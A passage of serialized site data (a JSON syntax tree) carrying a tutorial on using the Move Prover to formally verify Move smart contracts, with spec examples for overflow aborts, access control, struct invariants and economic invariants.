compare",{"type":23,"tag":139,"props":10254,"children":10255},{"style":259},[10256],{"type":28,"value":262},{"type":23,"tag":139,"props":10258,"children":10259},{"style":982},[10260],{"type":28,"value":1085},{"type":23,"tag":139,"props":10262,"children":10263},{"style":294},[10264],{"type":28,"value":10265},"result_11",{"type":23,"tag":139,"props":10267,"children":10268},{"style":259},[10269],{"type":28,"value":1052},{"type":23,"tag":139,"props":10271,"children":10272},{"style":982},[10273],{"type":28,"value":1085},{"type":23,"tag":139,"props":10275,"children":10276},{"style":294},[10277],{"type":28,"value":10278},"result_22",{"type":23,"tag":139,"props":10280,"children":10281},{"style":259},[10282],{"type":28,"value":1820},{"type":23,"tag":139,"props":10284,"children":10285},{"class":141,"line":205},[10286,10291,10296,10300,10304,10309,10313,10318],{"type":23,"tag":139,"props":10287,"children":10288},{"style":319},[10289],{"type":28,"value":10290},"    if",{"type":23,"tag":139,"props":10292,"children":10293},{"style":259},[10294],{"type":28,"value":10295}," ( ",{"type":23,"tag":139,"props":10297,"children":10298},{"style":294},[10299],{"type":28,"value":5929},{"type":23,"tag":139,"props":10301,"children":10302},{"style":982},[10303],{"type":28,"value":1259},{"type":23,"tag":139,"props":10305,"children":10306},{"style":259},[10307],{"type":28,"value":10308}," EQUAL ) ",{"type":23,"tag":139,"props":10310,"children":10311},{"style":279},[10312],{"type":28,"value":1993},{"type":23,"tag":139,"props":10314,"children":10315},{"style":319},[10316],{"type":28,"value":10317}," else",{"type":23,"tag":139,"props":10319,"children":10320},{"style":279},[10321],{"type":28,"value":10322}," false\n",{"type":23,"tag":139,"props":10324,"children":10325},{"class":141,"line":214},[10326],{"type":23,"tag":139,"props":10327,"children":10328},{"style":259},[10329],{"type":28,"value":1897},{"type":23,"tag":24,"props":10331,"children":10332},{},[10333],{"type":28,"value":10334},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":128,"props":10336,"children":10338},{"code":10337,"language":947,"meta":7,"className":948,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[10339],{"type":23,"tag":135,"props":10340,"children":10341},{"__ignoreMap":7},[10342,10357,10461,10485],{"type":23,"tag":139,"props":10343,"children":10344},{"class":141,"line":142},[10345,10349,10353],{"type":23,"tag":139,"props":10346,"children":10347},{"style":294},[10348],{"type":28,"value":6279},{"type":23,"tag":139,"props":10350,"children":10351},{"style":294},[10352],{"type":28,"value":10000},{"type":23,"tag":139,"props":10354,"children":10355},{"style":259},[10356],{"type":28,"value":1268},{"type":23,"tag":139,"props":10358,"children":10359},{"class":141,"line":151},[10360,10364,10368,10373,10377,10381,10385,10389,10393,10397,10401,10405,10409,10413,10417,10421,10425,10429,10433,10437,10441,10445,10449,10453,10457],{"type":23,"tag":139,"props":10361,"children":10362},{"style":294},[10363],{"type":28,"value":7911},{"type":23,"tag":139,"props":10365,"children":10366},{"style":259},[10367],{"type":28,"value":1042},{"type":23,"tag":139,"props":10369,"children":10370},{"style":245},[10371],{"type":28,"value":10372},"value_of_U256",{"type":23,"tag":139,"props":10374,"children":10375},{"style":259},[10376],{"type":28,"value":262},{"type":23,"tag":139,"props":10378,"children":10379},{"style":294},[10380],{"type":28,"value":64},{"type":23,"tag":139,"props":10382,"children":10383},{"style":259},[10384],{"type":28,"value":1062},{"type":23,"tag":139,"props":10386,"children":10387},{"style":982},[10388],{"type":28,"value":2382},{"type":23,"tag":139,"props":10390,"children":10391},{"style":245},[10392],{"type":28,"value":7712},{"type":23,"tag":139,"props":10394,"children":10395},{"style":259},[10396],{"type":28,"value":262},{"type":23,"tag":139,"props":10398,"children":10399},{"style":294},[10400],{"type":28,"value":1199},{"type":23,"tag":139,"props":10402,"children":10403},{"style":259},[10404],{"type":28,"value":6842},{"type":23,"tag":139,"props":10406,"children":10407},{"style":982},[10408],{"type":28,"value":2382},{"type":23,"tag":139,"props":10410,"children":10411},{"style":245},[10412],{"type":28,"value":7712},{"type":23,"tag":139,"props":10414,"children":10415},{"style":259},[10416],{"type":28,"value":262},{"type":23,"tag":139,"props":10418,"children":10419},{"style":294},[10420],{"type":28,"value":1123},{"type":23,"tag":139,"props":10422,"children":10423},{"style":259},[10424],{"type":28,"value":1062},{"type":23,"tag":139,"props":10426,"children":10427},{"style":982},[10428],{"type":28,"value":7952},{"type":23,"tag":139,"props":10430,"children":10431},{"style":305},[10432],{"type":28,"value":7668},{"type":23,"tag":139,"props":10434,"children":10435},{"style":982},[10436],{"type":28,"value":7825},{"type":23,"tag":139,"props":10438,"children":10439},{"style":305},[10440],{"type":28,"value":7668},{"type":23,"tag":139,"props":10442,"children":10443},{"style":982},[10444],{"type":28,"value":7825},{"type":23,"tag":139,"props":10446,"children":10447},{"style":305},[10448],{"type":28,"value":7668},{"type":23,"tag":139,"props":10450,"children":10451},{"style":982},[10452],{"type":28,"value":7825},{"type":23,"tag":139,"props":10454,"children":10455},{"style":305},[10456],{"type":28,"value":7668},{"type":23,"tag":139,"props":10458,"children":10459},{"style":259},[10460],{"type":28,"value":995},{"type":23,"tag":139,"props":10462,"children":10463},{"class":141,"line":160},[10464,10468,10472,10476,10481],{"type":23,"tag":139,"props":10465,"children":10466},{"style":294},[10467],{"type":28,"value":8209},{"type":23,"tag":139,"props":10469,"children":10470},{"style":294},[10471],{"type":28,"value":7167},{"type":23,"tag":139,"props":10473,"children":10474},{"style":982},[10475],{"type":28,"value":1259},{"type":23,"tag":139,"props":10477,"children":10478},{"style":279},[10479],{"type":28,"value":10480}," true",{"type":23,"tag":139,"props":10482,"children":10483},{"style":259},[10484],{"type":28,"value":995},{"type":23,"tag":139,"props":10486,"children":10487},{"class":141,"line":169},[10488],{"type":23,"tag":139,"props":10489,"children":10490},{"style":259},[10491],{"type":28,"value":1897},{"type":23,"tag":24,"props":10493,"children":10494},{},[10495],{"type":28,"value":10496},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":128,"props":10498,"children":10499},{"code":9957},[10500],{"type":23,"tag":135,"props":10501,"children":10502},{"__ignoreMap":7},[10503],{"type":28,"value":9957},{"type":23,"tag":24,"props":10505,"children":10506},{},[10507,10509,10516],{"type":28,"value":10508},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":64,"props":10510,"children":10513},{"href":10511,"rel":10512},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[68],[10514],{"type":28,"value":10515},"spec-lang.md",{"type":28,"value":10517}," in the Move Repository.",{"type":23,"tag":41,"props":10519,"children":10521},{"id":10520},"use-cases",[10522],{"type":28,"value":10523},"Use Cases",{"type":23,"tag":24,"props":10525,"children":10526},{},[10527],{"type":28,"value":10528},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":10530,"children":10531},{},[10532],{"type":28,"value":10533},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":666,"props":10535,"children":10537},{"id":10536},"error-conditions",[10538],{"type":28,"value":10539},"Error Conditions",{"type":23,"tag":24,"props":10541,"children":10542},{},[10543,10545,10551],{"type":28,"value":10544},"Taking an example from ",{"type":23,"tag":135,"props":10546,"children":10548},{"className":10547},[],[10549],{"type":28,"value":10550},"std::fixed_point32",{"type":28,"value":10552},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":128,"props":10554,"children":10556},{"code":10555,"language":947,"meta":7,"className":948,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[10557],{"type":23,"tag":135,"props":10558,"children":10559},{"__ignoreMap":7},[10560,10581,10601,10622,10668,10676,10739,10778],{"type":23,"tag":139,"props":10561,"children":10562},{"class":141,"line":142},[10563,10567,10572,10577],{"type":23,"tag":139,"props":10564,"children":10565},{"style":294},[10566],{"type":28,"value":6934},{"type":23,"tag":139,"props":10568,"children":10569},{"style":294},[10570],{"type":28,"value":10571}," schema",{"type":23,"tag":139,"props":10573,"children":10574},{"style":305},[10575],{"type":28,"value":10576}," MultiplyAbortsIf",{"type":23,"tag":139,"props":10578,"children":10579},{"style":259},[10580],{"type":28,"value":1268},{"type":23,"tag":139,"props":10582,"children":10583},{"class":141,"line":151},[10584,10589,10593,10597],{"type":23,"tag":139,"props":10585,"children":10586},{"style":294},[10587],{"type":28,"value":10588},"          val",{"type":23,"tag":139,"props":10590,"children":10591},{"style":982},[10592],{"type":28,"value":2493},{"type":23,"tag":139,"props":10594,"children":10595},{"style":294},[10596],{"type":28,"value":7741},{"type":23,"tag":139,"props":10598,"children":10599},{"style":259},[10600],{"type":28,"value":995},{"type":23,"tag":139,"props":10602,"children":10603},{"class":141,"line":160},[10604,10609,10613,10618],{"type":23,"tag":139,"props":10605,"children":10606},{"style":294},[10607],{"type":28,"value":10608},"          multiplier",{"type":23,"tag":139,"props":10610,"children":10611},{"style":982},[10612],{"type":28,"value":2493},{"type":23,"tag":139,"props":10614,"children":10615},{"style":305},[10616],{"type":28,"value":10617}," FixedPoint32",{"type":23,"tag":139,"props":10619,"children":10620},{"style":259},[10621],{"type":28,"value":995},{"type":23,"tag":139,"props":10623,"children":10624},{"class":141,"line":169},[10625,10630,10635,10639,10644,10648,10653,10658,10663],{"type":23,"tag":139,"props":10626,"children":10627},{"style":294},[10628],{"type":28,"value":10629},"          aborts_if",{"type":23,"tag":139,"props":10631,"children":10632},{"style":245},[10633],{"type":28,"value":10634}," spec_multiply_u64",{"type":23,"tag":139,"props":10636,"children":10637},{"style":259},[10638],{"type":28,"value":262},{"type":23,"tag":139,"props":10640,"children":10641},{"style":294},[10642],{"type":28,"value":10643},"val",{"type":23,"tag":139,"props":10645,"children":10646},{"style":259},[10647],{"type":28,"value":1052},{"type":23,"tag":139,"props":10649,"children":10650},{"style":294},[10651],{"type":28,"value":10652},"multiplier",{"type":23,"tag":139,"props":10654,"children":10655},{"style":259},[10656],{"type":28,"value":10657},") > MAX_U64 ",{"type":23,"tag":139,"props":10659,"children":10660},{"style":294},[10661],{"type":28,"value":10662},"with",{"type":23,"tag":139,"props":10664,"children":10665},{"style":259},[10666],{"type":28,"value":10667}," EMULTIPLICATION;\n",{"type":23,"tag":139,"props":10669,"children":10670},{"class":141,"line":178},[10671],{"type":23,"tag":139,"props":10672,"children":10673},{"style":259},[10674],{"type":28,"value":10675},"      }\n",{"type":23,"tag":139,"props":10677,"children":10678},{"class":141,"line":187},[10679,10683,10687,10691,10695,10699,10703,10707,10711,10715,10719,10723,10727,10731,10735],{"type":23,"tag":139,"props":10680,"children":10681},{"style":294},[10682],{"type":28,"value":6934},{"type":23,"tag":139,"props":10684,"children":10685},{"style":294},[10686],{"type":28,"value":4210},{"type":23,"tag":139,"props":10688,"children":10689},{"style":245},[10690],{"type":28,"value":10634},{"type":23,"tag":139,"props":10692,"children":10693},{"style":259},[10694],{"type":28,"value":262},{"type":23,"tag":139,"props":10696,"children":10697},{"style":294},[10698],{"type":28,"value":10643},{"type":23,"tag":139,"props":10700,"children":10701},{"style":982},[10702],{"type":28,"value":2493},{"type":23,"tag":139,"props":10704,"children":10705},{"style":294},[10706],{"type":28,"value":7741},{"type":23,"tag":139,"props":10708,"children":10709},{"style":259},[10710],{"type":28,"value":1052},{"type":23,"tag":139,"props":10712,"children":10713},{"style":294},[10714],{"type":28,"value":10652},{"type":23,"tag":139,"props":10716,"children":10717},{"style":982},[10718],{"type":28,"value":2493},{"type":23,"tag":139,"props":10720,"children":10721},{"style":305},[10722],{"type":28,"value":10617},{"type":23,"tag":139,"props":10724,"children":10725},{"style":259},[10726],{"type":28,"value":1104},{"type":23,"tag":139,"props":10728,"children":10729},{"style":982},[10730],{"type":28,"value":2493},{"type":23,"tag":139,"props":10732,"children":10733},{"style":294},[10734],{"type":28,"value":7741},{"type":23,"tag":139,"props":10736,"children":10737},{"style":259},[10738],{"type":28,"value":1268},{"type":23,"tag":139,"props":10740,"children":10741},{"class":141,"line":196},[10742,10746,10750,10754,10759,10763,10768,10773],{"type":23,"tag":139,"props":10743,"children":10744},{"style":259},[10745],{"type":28,"value":6715},{"type":23,"tag":139,"props":10747,"children":10748},{"style":294},[10749],{"type":28,"value":10643},{"type":23,"tag":139,"props":10751,"children":10752},{"style":982},[10753],{"type":28,"value":7825},{"type":23,"tag":139,"props":10755,"children":10756},{"style":294},[10757],{"type":28,"value":10758}," multiplier",{"type":23,"tag":139,"props":10760,"children":10761},{"style":982},[10762],{"type":28,"value":73},{"type":23,"tag":139,"props":10764,"children":10765},{"style":259},[10766],{"type":28,"value":10767},"value) ",{"type":23,"tag":139,"props":10769,"children":10770},{"style":982},[10771],{"type":28,"value":10772},">>",{"type":23,"tag":139,"props":10774,"children":10775},{"style":1016},[10776],{"type":28,"value":10777}," 32\n",{"type":23,"tag":139,"props":10779,"children":10780},{"class":141,"line":205},[10781],{"type":23,"tag":139,"props":10782,"children":10783},{"style":259},[10784],{"type":28,"value":10675},{"type":23,"tag":666,"props":10786,"children":10788},{"id":10787},"access-control-policies",[10789],{"type":28,"value":10790},"Access Control Policies",{"type":23,"tag":24,"props":10792,"children":10793},{},[10794],{"type":28,"value":10795},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":10797,"children":10798},{},[10799,10801,10807,10809,10814],{"type":28,"value":10800},"For example, in ",{"type":23,"tag":135,"props":10802,"children":10804},{"className":10803},[],[10805],{"type":28,"value":10806},"std::offer",{"type":28,"value":10808}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":659,"props":10810,"children":10811},{},[10812],{"type":28,"value":10813},"or",{"type":28,"value":10815}," the recipient is now allowed.",{"type":23,"tag":128,"props":10817,"children":10819},{"code":10818,"language":947,"meta":7,"className":948,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[10820],{"type":23,"tag":135,"props":10821,"children":10822},{"__ignoreMap":7},[10823,10840,10848,10856,10864,10911,10969,11012,11078],{"type":23,"tag":139,"props":10824,"children":10825},{"class":141,"line":142},[10826,10831,10836],{"type":23,"tag":139,"props":10827,"children":10828},{"style":294},[10829],{"type":28,"value":10830},"    spec",{"type":23,"tag":139,"props":10832,"children":10833},{"style":294},[10834],{"type":28,"value":10835}," redeem",{"type":23,"tag":139,"props":10837,"children":10838},{"style":259},[10839],{"type":28,"value":1268},{"type":23,"tag":139,"props":10841,"children":10842},{"class":141,"line":151},[10843],{"type":23,"tag":139,"props":10844,"children":10845},{"style":958},[10846],{"type":28,"value":10847},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":139,"props":10849,"children":10850},{"class":141,"line":160},[10851],{"type":23,"tag":139,"props":10852,"children":10853},{"style":958},[10854],{"type":28,"value":10855},"      /// cannot redeem the offer.\n",{"type":23,"tag":139,"props":10857,"children":10858},{"class":141,"line":169},[10859],{"type":23,"tag":139,"props":10860,"children":10861},{"style":958},[10862],{"type":28,"value":10863},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":139,"props":10865,"children":10866},{"class":141,"line":178},[10867,10871,10876,10880,10884,10889,10893,10898,10902,10907],{"type":23,"tag":139,"props":10868,"children":10869},{"style":294},[10870],{"type":28,"value":7059},{"type":23,"tag":139,"props":10872,"children":10873},{"style":982},[10874],{"type":28,"value":10875}," !",{"type":23,"tag":139,"props":10877,"children":10878},{"style":294},[10879],{"type":28,"value":4707},{"type":23,"tag":139,"props":10881,"children":10882},{"style":259},[10883],{"type":28,"value":3808},{"type":23,"tag":139,"props":10885,"children":10886},{"style":305},[10887],{"type":28,"value":10888},"Offer",{"type":23,"tag":139,"props":10890,"children":10891},{"style":259},[10892],{"type":28,"value":3808},{"type":23,"tag":139,"props":10894,"children":10895},{"style":305},[10896],{"type":28,"value":10897},"Offered",{"type":23,"tag":139,"props":10899,"children":10900},{"style":259},[10901],{"type":28,"value":4729},{"type":23,"tag":139,"props":10903,"children":10904},{"style":294},[10905],{"type":28,"value":10906},"offer_address",{"type":23,"tag":139,"props":10908,"children":10909},{"style":259},[10910],{"type":28,"value":1820},{"type":23,"tag":139,"props":10912,"children":10913},{"class":141,"line":187},[10914,10918,10922,10927,10931,10935,10939,10943,10948,10952,10956,10960,10965],{"type":23,"tag":139,"props":10915,"children":10916},{"style":294},[10917],{"type":28,"value":7059},{"type":23,"tag":139,"props":10919,"children":10920},{"style":982},[10921],{"type":28,"value":10875},{"type":23,"tag":139,"props":10923,"children":10924},{"style":294},[10925],{"type":28,"value":10926},"is_allowed_recipient",{"type":23,"tag":139,"props":10928,"children":10929},{"style":259},[10930],{"type":28,"value":3808},{"type":23,"tag":139,"props":10932,"children":10933},{"style":305},[10934],{"type":28,"value":10897},{"type":23,"tag":139,"props":10936,"children":10937},{"style":259},[10938],{"type":28,"value":5614},{"type":23,"tag":139,"props":10940,"children":10941},{"style":294},[10942],{"type":28,"value":10906},{"type":23,"tag":139,"props":10944,"children":10945},{"style":259},[10946],{"type":28,"value":10947},", signer",{"type":23,"tag":139,"props":10949,"children":10950},{"style":982},[10951],{"type":28,"value":1461},{"type":23,"tag":139,"props":10953,"children":10954},{"style":245},[10955],{"type":28,"value":5212},{"type":23,"tag":139,"props":10957,"children":10958},{"style":259},[10959],{"type":28,"value":262},{"type":23,"tag":139,"props":10961,"children":10962},{"style":294},[10963],{"type":28,"value":10964},"account",{"type":23,"tag":139,"props":10966,"children":10967},{"style":259},[10968],{"type":28,"value":5226},{"type":23,"tag":139,"props":10970,"children":10971},{"class":141,"line":196},[10972,10976,10980,10984,10988,10992,10996,11000,11004,11008],{"type":23,"tag":139,"props":10973,"children":10974},{"style":294},[10975],{"type":28,"value":6191},{"type":23,"tag":139,"props":10977,"children":10978},{"style":982},[10979],{"type":28,"value":10875},{"type":23,"tag":139,"props":10981,"children":10982},{"style":294},[10983],{"type":28,"value":4707},{"type":23,"tag":139,"props":10985,"children":10986},{"style":259},[10987],{"type":28,"value":3808},{"type":23,"tag":139,"props":10989,"children":10990},{"style":305},[10991],{"type":28,"value":10888},{"type":23,"tag":139,"props":10993,"children":10994},{"style":259},[10995],{"type":28,"value":3808},{"type":23,"tag":139,"props":10997,"children":10998},{"style":305},[10999],{"type":28,"value":10897},{"type":23,"tag":139,"props":11001,"children":11002},{"style":259},[11003],{"type":28,"value":4729},{"type":23,"tag":139,"props":11005,"children":11006},{"style":294},[11007],{"type":28,"value":10906},{"type":23,"tag":139,"props":11009,"children":11010},{"style":259},[11011],{"type":28,"value":1820},{"type":23,"tag":139,"props":11013,"children":11014},{"class":141,"line":205},[11015,11019,11023,11027,11032,11036,11041,11045,11049,11053,11057,11061,11065,11069,11073],{"type":23,"tag":139,"props":11016,"children":11017},{"style":294},[11018],{"type":28,"value":6191},{"type":23,"tag":139,"props":11020,"children":11021},{"style":294},[11022],{"type":28,"value":7167},{"type":23,"tag":139,"props":11024,"children":11025},{"style":982},[11026],{"type":28,"value":1259},{"type":23,"tag":139,"props":11028,"children":11029},{"style":245},[11030],{"type":28,"value":11031}," old",{"type":23,"tag":139,"props":11033,"children":11034},{"style":259},[11035],{"type":28,"value":262},{"type":23,"tag":139,"props":11037,"children":11038},{"style":294},[11039],{"type":28,"value":11040},"global",{"type":23,"tag":139,"props":11042,"children":11043},{"style":259},[11044],{"type":28,"value":3808},{"type":23,"tag":139,"props":11046,"children":11047},{"style":305},[11048],{"type":28,"value":10888},{"type":23,"tag":139,"props":11050,"children":11051},{"style":259},[11052],{"type":28,"value":3808},{"type":23,"tag":139,"props":11054,"children":11055},{"style":305},[11056],{"type":28,"value":10897},{"type":23,"tag":139,"props":11058,"children":11059},{"style":259},[11060],{"type":28,"value":4729},{"type":23,"tag":139,"props":11062,"children":11063},{"style":294},[11064],{"type":28,"value":10906},{"type":23,"tag":139,"props":11066,"children":11067},{"style":259},[11068],{"type":28,"value":1104},{"type":23,"tag":139,"props":11070,"children":11071},{"style":982},[11072],{"type":28,"value":73},{"type":23,"tag":139,"props":11074,"children":11075},{"style":259},[11076],{"type":28,"value":11077},"offered);\n",{"type":23,"tag":139,"props":11079,"children":11080},{"class":141,"line":214},[11081],{"type":23,"tag":139,"props":11082,"children":11083},{"style":259},[11084],{"type":28,"value":1335},{"type":23,"tag":24,"props":11086,"children":11087},{},[11088],{"type":28,"value":11089},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":666,"props":11091,"children":11093},{"id":11092},"complex-mathematical-formulae",[11094],{"type":28,"value":11095},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":11097,"children":11098},{},[11099,11101,11106],{"type":28,"value":11100},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":659,"props":11102,"children":11103},{},[11104],{"type":28,"value":11105},"always",{"type":28,"value":11107}," the output.",{"type":23,"tag":24,"props":11109,"children":11110},{},[11111],{"type":28,"value":11112},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":11114,"children":11115},{},[11116,11118,11125],{"type":28,"value":11117},"For example, in our work with ",{"type":23,"tag":64,"props":11119,"children":11122},{"href":11120,"rel":11121},"https://laminar.markets/",[68],[11123],{"type":28,"value":11124},"Laminar Markets",{"type":28,"value":11126},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":666,"props":11128,"children":11130},{"id":11129},"data-invariants",[11131],{"type":28,"value":11132},"Data Invariants",{"type":23,"tag":24,"props":11134,"children":11135},{},[11136,11138,11144,11146,11152,11154,11160,11162,11168],{"type":28,"value":11137},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":135,"props":11139,"children":11141},{"className":11140},[],[11142],{"type":28,"value":11143},"variables",{"type":28,"value":11145}," or ",{"type":23,"tag":135,"props":11147,"children":11149},{"className":11148},[],[11150],{"type":28,"value":11151},"resources",{"type":28,"value":11153}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":135,"props":11155,"children":11157},{"className":11156},[],[11158],{"type":28,"value":11159},"index",{"type":28,"value":11161}," is never greater than 4 using a ",{"type":23,"tag":135,"props":11163,"children":11165},{"className":11164},[],[11166],{"type":28,"value":11167},"struct invariant",{"type":28,"value":73},{"type":23,"tag":128,"props":11170,"children":11172},{"code":11171,"language":947,"meta":7,"className":948,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[11173],{"type":23,"tag":135,"props":11174,"children":11175},{"__ignoreMap":7},[11176,11192,11209,11216,11223,11238,11262],{"type":23,"tag":139,"props":11177,"children":11178},{"class":141,"line":142},[11179,11183,11188],{"type":23,"tag":139,"props":11180,"children":11181},{"style":279},[11182],{"type":28,"value":7409},{"type":23,"tag":139,"props":11184,"children":11185},{"style":305},[11186],{"type":28,"value":11187}," Type",{"type":23,"tag":139,"props":11189,"children":11190},{"style":259},[11191],{"type":28,"value":1268},{"type":23,"tag":139,"props":11193,"children":11194},{"class":141,"line":151},[11195,11200,11204],{"type":23,"tag":139,"props":11196,"children":11197},{"style":294},[11198],{"type":28,"value":11199},"    index",{"type":23,"tag":139,"props":11201,"children":11202},{"style":982},[11203],{"type":28,"value":2493},{"type":23,"tag":139,"props":11205,"children":11206},{"style":305},[11207],{"type":28,"value":11208}," u64\n",{"type":23,"tag":139,"props":11210,"children":11211},{"class":141,"line":160},[11212],{"type":23,"tag":139,"props":11213,"children":11214},{"style":259},[11215],{"type":28,"value":1897},{"type":23,"tag":139,"props":11217,"children":11218},{"class":141,"line":169},[11219],{"type":23,"tag":139,"props":11220,"children":11221},{"emptyLinePlaceholder":15},[11222],{"type":28,"value":184},{"type":23,"tag":139,"props":11224,"children":11225},{"class":141,"line":178},[11226,11230,11234],{"type":23,"tag":139,"props":11227,"children":11228},{"style":294},[11229],{"type":28,"value":6279},{"type":23,"tag":139,"props":11231,"children":11232},{"style":305},[11233],{"type":28,"value":11187},{"type":23,"tag":139,"props":11235,"children":11236},{"style":259},[11237],{"type":28,"value":1268},{"type":23,"tag":139,"props":11239,"children":11240},{"class":141,"line":187},[11241,11245,11250,11254,11258],{"type":23,"tag":139,"props":11242,"children":11243},{"style":294},[11244],{"type":28,"value":6296},{"type":23,"tag":139,"props":11246,"children":11247},{"style":294},[11248],{"type":28,"value":11249}," index",{"type":23,"tag":139,"props":11251,"children":11252},{"style":982},[11253],{"type":28,"value":6724},{"type":23,"tag":139,"props":11255,"children":11256},{"style":1016},[11257],{"type":28,"value":9756},{"type":23,"tag":139,"props":11259,"children":11260},{"style":259},[11261],{"type":28,"value":995},{"type":23,"tag":139,"props":11263,"children":11264},{"class":141,"line":196},[11265],{"type":23,"tag":139,"props":11266,"children":11267},{"style":259},[11268],{"type":28,"value":1897},{"type":23,"tag":24,"props":11270,"children":11271},{},[11272,11274,11281,11282,11288],{"type":28,"value":11273},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":64,"props":11275,"children":11278},{"href":11276,"rel":11277},"https://layerzero.network/",[68],[11279],{"type":28,"value":11280},"LayerZero",{"type":28,"value":9002},{"type":23,"tag":64,"props":11283,"children":11286},{"href":11284,"rel":11285},"http://ariesmarkets.xyz/",[68],[11287],{"type":28,"value":4793},{"type":28,"value":11289},", but the details are left as an exercise to the reader.",{"type":23,"tag":666,"props":11291,"children":11293},{"id":11292},"economic-invariants",[11294],{"type":28,"value":11295},"Economic Invariants.",{"type":23,"tag":24,"props":11297,"children":11298},{},[11299],{"type":28,"value":11300},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":11302,"children":11303},{},[11304],{"type":28,"value":11305},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":128,"props":11307,"children":11308},{"code":5971,"language":947,"meta":7,"className":948,"style":7},[11309],{"type":23,"tag":135,"props":11310,"children":11311},{"__ignoreMap":7},[11312,11319,11402,11441,11460,11467,11482,11505,11528,11551],{"type":23,"tag":139,"props":11313,"children":11314},{"class":141,"line":142},[11315],{"type":23,"tag":139,"props":11316,"children":11317},{"style":958},[11318],{"type":28,"value":5983},{"type":23,"tag":139,"props":11320,"children":11321},{"class":141,"line":151},[11322,11326,11330,11334,11338,11342,11346,11350,11354,11358,11362,11366,11370,11374,11378,11382,11386,11390,11394,11398],{"type":23,"tag":139,"props":11323,"children":11324},{"style":294},[11325],{"type":28,"value":4572},{"type":23,"tag":139,"props":11327,"children":11328},{"style":245},[11329],{"type":28,"value":5995},{"type":23,"tag":139,"props":11331,"children":11332},{"style":259},[11333],{"type":28,"value":262},{"type":23,"tag":139,"props":11335,"children":11336},{"style":294},[11337],{"type":28,"value":6004},{"type":23,"tag":139,"props":11339,"children":11340},{"style":982},[11341],{"type":28,"value":2493},{"type":23,"tag":139,"props":11343,"children":11344},{"style":305},[11345],{"type":28,"value":3862},{"type":23,"tag":139,"props":11347,"children":11348},{"style":259},[11349],{"type":28,"value":1052},{"type":23,"tag":139,"props":11351,"children":11352},{"style":294},[11353],{"type":28,"value":6021},{"type":23,"tag":139,"props":11355,"children":11356},{"style":982},[11357],{"type":28,"value":2493},{"type":23,"tag":139,"props":11359,"children":11360},{"style":305},[11361],{"type":28,"value":3862},{"type":23,"tag":139,"props":11363,"children":11364},{"style":259},[11365],{"type":28,"value":1104},{"type":23,"tag":139,"props":11367,"children":11368},{"style":982},[11369],{"type":28,"value":2493},{"type":23,"tag":139,"props":11371,"children":11372},{"style":259},[11373],{"type":28,"value":1042},{"type":23,"tag":139,"props":11375,"children":11376},{"style":305},[11377],{"type":28,"value":6046},{"type":23,"tag":139,"props":11379,"children":11380},{"style":259},[11381],{"type":28,"value":1052},{"type":23,"tag":139,"props":11383,"children":11384},{"style":305},[11385],{"type":28,"value":6046},{"type":23,"tag":139,"props":11387,"children":11388},{"style":259},[11389],{"type":28,"value":1062},{"type":23,"tag":139,"props":11391,"children":11392},{"style":294},[11393],{"type":28,"value":4347},{"type":23,"tag":139,"props":11395,"children":11396},{"style":305},[11397],{"type":28,"value":6067},{"type":23,"tag":139,"props":11399,"children":11400},{"style":259},[11401],{"type":28,"value":1268},{"type":23,"tag":139,"props":11403,"children":11404},{"class":141,"line":160},[11405,11409,11413,11417,11421,11425,11429,11433,11437],{"type":23,"tag":139,"props":11406,"children":11407},{"style":279},[11408],{"type":28,"value":6079},{"type":23,"tag":139,"props":11410,"children":11411},{"style":294},[11412],{"type":28,"value":6084},{"type":23,"tag":139,"props":11414,"children":11415},{"style":982},[11416],{"type":28,"value":985},{"type":23,"tag":139,"props":11418,"children":11419},{"style":245},[11420],{"type":28,"value":6093},{"type":23,"tag":139,"props":11422,"children":11423},{"style":259},[11424],{"type":28,"value":262},{"type":23,"tag":139,"props":11426,"children":11427},{"style":294},[11428],{"type":28,"value":6004},{"type":23,"tag":139,"props":11430,"children":11431},{"style":259},[11432],{"type":28,"value":1052},{"type":23,"tag":139,"props":11434,"children":11435},{"style":294},[11436],{"type":28,"value":6021},{"type":23,"tag":139,"pro